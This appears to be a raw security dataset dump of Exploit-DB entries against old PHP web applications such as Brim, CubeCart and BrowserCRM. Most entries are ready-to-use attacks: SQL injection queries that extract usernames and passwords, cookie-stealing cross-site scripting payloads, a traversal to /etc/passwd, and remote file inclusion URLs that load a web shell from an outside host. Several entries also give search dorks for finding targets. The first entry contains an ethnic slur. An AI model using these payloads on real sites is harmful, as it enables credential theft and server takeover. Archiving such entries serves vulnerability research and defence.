deardaniel/secdata-raw huggingface dataset:
Exploit-DB #6332
Description: Brim 2.0.0 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-08-30
Author: InjEctOr5

Exploit:
                          ||          ||   | ||       
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_,
                  ( :   /    (_)    /           (   . 
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|

<<!>> Found by :  Fisher762
<<!>> C0ntact  : SQ7@W.CN
                  
<<!>> Groups   : InjEctOr5

=======================================================
+++++++++++++ R3membeR Kings of injection +++++++++++++
=======================================================

<<->> script    :  Brim 2.0
 
<<->> Demo site : http://sourceforge.net/project/showfiles.php?group_id=129562

=======================================================
++++++++++++++++ pWning israel fuckers ++++++++++++++++
=======================================================

<<->> D0rk    : :)
<<->> Exploit :

[SQL]

First register new acc0unt :

http://[targ3t]/brim/signup.php

then go to  y0ur email and active the acc0unt and login
 
 

after that  G0 t0 y0ur Plugins and active Tasks plugin
 
http://[Targ3t]/brim/PluginController.php
 
and finnaly go t0 search url:

http://[Targ3t]/brim/index.php?plugin=tasks&action=search
 
and insert this query in any field:

' union select 1,2,3,4,concat(loginname,0x3a,password),6,7,8,9,10,11,12,13,14,15,16,17 from brim_users/*
 
*******************************************************************************************************

[xss]
 
First active Bookmarks Plugin and add new action and in the name field insert:
 
>"><script>alert("InjEctOr Team5")</script>
 
 
 
 
 
##############################################################

#Gr33tz T0: Broken-security, providor , Г…ЕѕГ…В·Г‘ВЏГ„ВЇГ„Ж’n Г„В¦ГЋВ»ГѓВ§ГђЕ’ГЋВЈr  ,Sp!der_N3T and all my friends :)

# milw0rm.com [2008-08-30]
Exploit-DB #18506
Description: Brim < 2.0.0 - SQL Injection
Type: webapps
Platform: php
Date: 2012-02-22
Author: ifnull

Exploit:
BRIM < 2.0.0 SQL InjectionExploit information

   - Exploit Title: BRIM < 2.0.0 SQL Injection
   - Google Dork: "Brim project" intitle:"Brim - login"
   - Date: 2012-02-20
   - Author: ifnull
   - Tested on: Apache/2.2.3, PHP/5.1.6, MySQL 5.0.45 � although it should
   work on any environment. Example uses MySQL 5 query escape but can easily
   be ported to prior versions of MySQL.
   - Description: Unlike CVE-2008-4082, this will work with or without
   magic_quotes_gpc enabled. Like the last exploit however, you must first
   create an account and enable "tasks". By default anyone can create an
   account and the accounts are automatically approved.

Software information

   - Version: < 2.0.0
   - Link: http://sourceforge.net/projects/brim/
   - Description: BRIM is a MVC framework, written in PHP and based on
   items with a hierarchical relationship. The list of plugins make BRIM a
   Information Manager with plugins like bookmarks, a calendar, contacts
   tasks, notes, RSS etc. The application is multilingual.

Proof of ConceptPOST

URI: /index.php
Data: plugin=tasks&field=1%3D1%20UNOIN%20SELECT%201%2C2%2C3%2C4%2CCONCAT(loginname%2C0x3a%2Cpassword)%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%20from%20brim_users--&value=asdf&action=searchTasks
Exploit-DB #7310
Description: Broadcast Machine 0.1 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2008-11-30
Author: NoGe

Exploit:
=================================================================================================================


  [o] Broadcast Machine 0.1 Multiple Remote File Inclusion Vulnerability

       Software    : Broadcast Machine version 0.1
       Vendor      : http://code.google.com/p/broadcastmachine/
       View Source : https://svn.participatoryculture.org/svn/dtv/trunk/bmachine2/
       Author      : NoGe
       Contact     : noge[dot]code[at]gmail[dot]com
       Blog        : http://evilc0de.blogspot.com


=================================================================================================================


  [o] Vulnerable file

       all file below is affected by "baseDir" parameter

        controllers/MySQLController.php

        controllers/SQLController.php

        controllers/SetupController.php

        controllers/VideoController.php

        controllers/ViewController.php



  [o] Exploit


       http://localhost/[path]/controllers/MySQLController.php?baseDir=[evilcode]

       http://localhost/[path]/controllers/SQLController.php?baseDir=[evilcode]

       http://localhost/[path]/controllers/SetupController.php?baseDir=[evilcode]

       http://localhost/[path]/controllers/VideoController.php?baseDir=[evilcode]

       http://localhost/[path]/controllers/ViewController.php?baseDir=[evilcode]


=================================================================================================================


  [o] Greetz

       MainHack BrotherHood [ http://serverisdown.org/blog/]
       Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 loqsa
       H312Y yooogy mousekill }^-^{ kaka11 martfella
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke

       GANYANG MALINGSIAL!!! [ http://malingsial.serverisdown.org/ ]

        
=================================================================================================================

# milw0rm.com [2008-11-30]
Exploit-DB #15278
Description: Brooky CubeCart 2.0.1 - SQL Injection
Type: webapps
Platform: php
Date: 2010-10-18
Author: X_AviaTique_X

Exploit:
===================================================================
CubeCart 2.0.1 SqL InjECti0N
===================================================================
~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author : X_AviaTique_X  fr0m  OS-TEAM
[~] Contact : C99@Live.De
[+] Greats T0: YasMouh , M.K , ArGon HaCKer , Shabah-DZ ,amgad noor 
               and all members 0f www.DzHacker.Net
[~] Site: www.DzHaCkEr.NeT
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~Web App. : CubeCart 2.0.1
~Version : 2.0.1
~Software: http://www.cubecart.com/
~Vulnerability Style : SQL Injection
~Google Keyword : "Powered by CubeCart 2.0.1"
~String : '
[~]Date : "18.10.2010"
[~]Tested on : (L):Unix, (R):5.0.32-Debian
 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  
  
    ~~~~~~~~ Explotation ~~~~~~~~~~~
    String (') SQL Injection Attack..
    http://www.exemple.com/cart/index.php?cat_id=19' {SQL Injection}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    ~~~~~~~~ Exemples ~~~~~~~~~~~
    http://www.exemple.com/cart/index.php?cat_id=19+union+select+group_concat%28username,0x3a,password%29,2,3,4,5,6,7,8+from+cube305_CubeCart_admin_users--
    ================================

     
     GoodLUCK.
Exploit-DB #25097
Description: Brooky CubeCart 2.0.1/2.0.4 - 'index.php?language' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-02-14
Author: John Cobb

Exploit:
source: https://www.securityfocus.com/bid/12549/info

Brooky CubeCart is reported prone to multiple vulnerabilities. These issues result from insufficient sanitization of user-supplied data and may allow remote attackers to disclose arbitrary files and carry out cross-site scripting attacks.

The application is reportedly susceptible to a remote directory traversal vulnerability. A malicious user could issue a request containing directory traversal strings such as '../' to possibly view files outside the server root directory in the context of the server.

The application is also prone to a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input. This may allow for theft of cookie-based authentication credentials or other attacks.

CubeCart 2.0.4 and prior versions are considered to be vulnerable to these issues. 

http://www.example.com/index.php?&language=<script>var%20test_variable=31
337;alert(test_variable);</script>
Exploit-DB #25098
Description: Brooky CubeCart 2.0.1/2.0.4 - 'index.php?language' Traversal Arbitrary File Access
Type: webapps
Platform: php
Date: 2005-02-14
Author: John Cobb

Exploit:
source: https://www.securityfocus.com/bid/12549/info
 
Brooky CubeCart is reported prone to multiple vulnerabilities. These issues result from insufficient sanitization of user-supplied data and may allow remote attackers to disclose arbitrary files and carry out cross-site scripting attacks.
 
The application is reportedly susceptible to a remote directory traversal vulnerability. A malicious user could issue a request containing directory traversal strings such as '../' to possibly view files outside the server root directory in the context of the server.
 
The application is also prone to a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input. This may allow for theft of cookie-based authentication credentials or other attacks.
 
CubeCart 2.0.4 and prior versions are considered to be vulnerable to these issues. 

http://www.example.com/index.php?&language=../../../../../../../../etc/passwd
Exploit-DB #5757
Description: BrowserCRM 5.002.00 - 'clients.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-06-08
Author: ahmadbady

Exploit:
script: browsercrm-5.002.00 remote file including

Download From: http://www.browsercrm.com/download/browsercrm-5.002.00.tar.gz

dork: Copyright Â© 2007 BrowserCRM Ltd

Vuln Code :

require_once($bcrm_pub_root . "/public_prepend.inc.php")


exploit:

www.site.com/browser_crm/pub/clients.php?bcrm_pub_root=http://www.gwebspace.de/mohsen/shell/r57.txt?


Author: ahmadbady | kivi_hacker666@yahoo.com

# milw0rm.com [2008-06-08]
Exploit-DB #36453
Description: BrowserCRM 5.100.1 - 'clients.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-12-14
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/51060/info
     
Browser CRM is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
     
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
     
Browser CRM 5.100.01 is vulnerable; prior versions may also be affected. 

<form action="http://www.example.com/pub/clients.php" method="post">

<input type="hidden" name="loginwww.example.com" value=&#039;"><script>alert(1);</script>&#039;>
<input type="hidden" name="login[username]" value=&#039;"><script>alert(2);</script>&#039;>
<input type="hidden" name="login[password]" value=&#039;"><script>alert(3);</script>&#039;>
<input type="hidden" name="login[webform]" value=&#039;"><script>alert(4);</script>&#039;>
<input type="hidden" name="login[disable_email_check]" value=&#039;"><script>alert(5);</script>&#039;>
<input type="hidden" name="login[client_email]" value=&#039;"><script>alert(6);</script>&#039;>
<input type="hidden" name="login[client_password]" value=&#039;"><script>alert(7);</script>&#039;>
<input type="submit" value="submit" id="btn">
</form>
Exploit-DB #36449
Description: BrowserCRM 5.100.1 - 'contact_id' SQL Injection
Type: webapps
Platform: php
Date: 2011-12-14
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/51060/info
 
Browser CRM is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Browser CRM 5.100.01 is vulnerable; prior versions may also be affected. 

http://www.example.com/modules/Documents/index.php?id=1&contact_id=1%27%20OR%20%271%27=%271
Exploit-DB #36451
Description: BrowserCRM 5.100.1 - 'framed' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-12-14
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/51060/info
   
Browser CRM is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
   
Browser CRM 5.100.01 is vulnerable; prior versions may also be affected. 

http://www.example.com/licence/index.php?framed=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Exploit-DB #36454
Description: BrowserCRM 5.100.1 - 'login[]' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-12-14
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/51060/info
      
Browser CRM is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
      
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
      
Browser CRM 5.100.01 is vulnerable; prior versions may also be affected. 

<form action="http://www.example.com/index.php" method="post">
<input type="hidden" name="loginwww.example.com" value=&#039;"><script>alert(1);</script>&#039;>
<input type="hidden" name="login[password]" value=&#039;"><script>alert(2);</script>&#039;>
<input type="hidden" name="login[rebuild_cache]" value=&#039;"><script>alert(3);</script>&#039;>
<input type="hidden" name="login[remember_me]" value=&#039;"><script>alert(4);</script>&#039;>
<input type="hidden" name="login[skin]" value=&#039;"><script>alert(5);</script>&#039;>
<input type="hidden" name="login[username]" value=&#039;"><script>alert(6);</script>&#039;>
<input type="submit" value="submit" id="btn">
</form>
Exploit-DB #36448
Description: BrowserCRM 5.100.1 - 'parent_id' SQL Injection
Type: webapps
Platform: php
Date: 2011-12-14
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/51060/info

Browser CRM is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Browser CRM 5.100.01 is vulnerable; prior versions may also be affected. 

http://www.example.com/modules/Documents/version_list.php?parent_id=1%20AND%201=2%20--%202
Exploit-DB #36450
Description: BrowserCRM 5.100.1 - URI Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-12-14
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/51060/info
  
Browser CRM is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
Browser CRM 5.100.01 is vulnerable; prior versions may also be affected. 

http://www.example.com/index.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/modules/admin/admin_module_index.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/ script%3E
http://www.example.com/modules/calendar/customise_calendar_times.php/%22%3E%3Cscript%3Ealert%28document.cooki e%29;%3C/script%3E
Exploit-DB #2433
Description: BrudaGB 1.1 - '/admin/index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-25
Author: SHiKaA

Exploit:
#==============================================================================================
#BrudaGB <= v1.1 (o) Remote File Inclusion Exploit
#===============================================================================================
#                                                                      
#Critical Level : Dangerous                                            
#                                                                      
#Venedor site : http://www.brudaswen.de      
#                                                                      
#Version : v1.1 & 1.0                                            
#                                                        
#================================================================================================
#
#Example : http://www.brudaswen.de/scripts/BrudaGB_v11/
#
#================================================================================================
#Bug in : admin/index.php
#
#Vlu Code :
#--------------------------------
 <?
 if($_GET[o] != "")
 {
 include($_GET[o].".php");
  }
 BrudaNews();
   ?>
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/admin/index.php?o=http://SHELLURL.COM
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#Special Thx To : Str0ke & simoo & Timq & XoRoN & Saudi HAckerz
==================================================================================================

# milw0rm.com [2006-09-25]
Exploit-DB #2432
Description: BrudaNews 1.1 - '/admin/index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-25
Author: SHiKaA

Exploit:
#==============================================================================================
#BrudaNews <= v1.1 (o) Remote File Inclusion Exploit
#===============================================================================================
#                                                                      
#Critical Level : Dangerous                                            
#                                                                      
#Venedor site : http://www.brudaswen.de      
#                                                                      
#Version : v1.1 & 1.0                                            
#                                                        
#================================================================================================
#
#Example : http://www.nebelweb.de/php/news
#
#================================================================================================
#Bug in : admin/index.php
#
#Vlu Code :
#--------------------------------
 <?
 if($_GET[o] != "")
 {
 include($_GET[o].".php");
  }
 BrudaNews();
   ?>
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/admin/index.php?o=http://SHELLURL.COM
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#Special Thx To : Str0ke & simoo & Timq & XoRoN & Saudi HAckerz
==================================================================================================

# milw0rm.com [2006-09-25]
Exploit-DB #14233
Description: Bs Auction Script - SQL Injection
Type: webapps
Platform: php
Date: 2010-07-05
Author: Sid3^effects

Exploit:
1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name :  Bs Auction Script Sqli Vulnerability
Date : july 5,2010
Critical Level 	: HIGH
vendor URL :http://www.brotherscripts.com/
Price:$24.95
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
#######################################################################################################
Description : 
Site design of the demo may not match the product theme you are interested. The demo is just for the demonstration purposes. For the actual design, enlarge the image given above. In addition, many functions are disabled in demo.

Begin your own professional online auction website with BrotherScripts just right now. Our auction software has many functions, well designed and easy customizable templates for the lowest possible price. The Quality and good Support guaranteed!


#######################################################################################################
Xploit :BSQli Vulnerability

DEMO URL :http://server/Auction_Software/confirm.php?id=[sqli]

###############################################################################################################
# 0day no more 
# Sid3^effects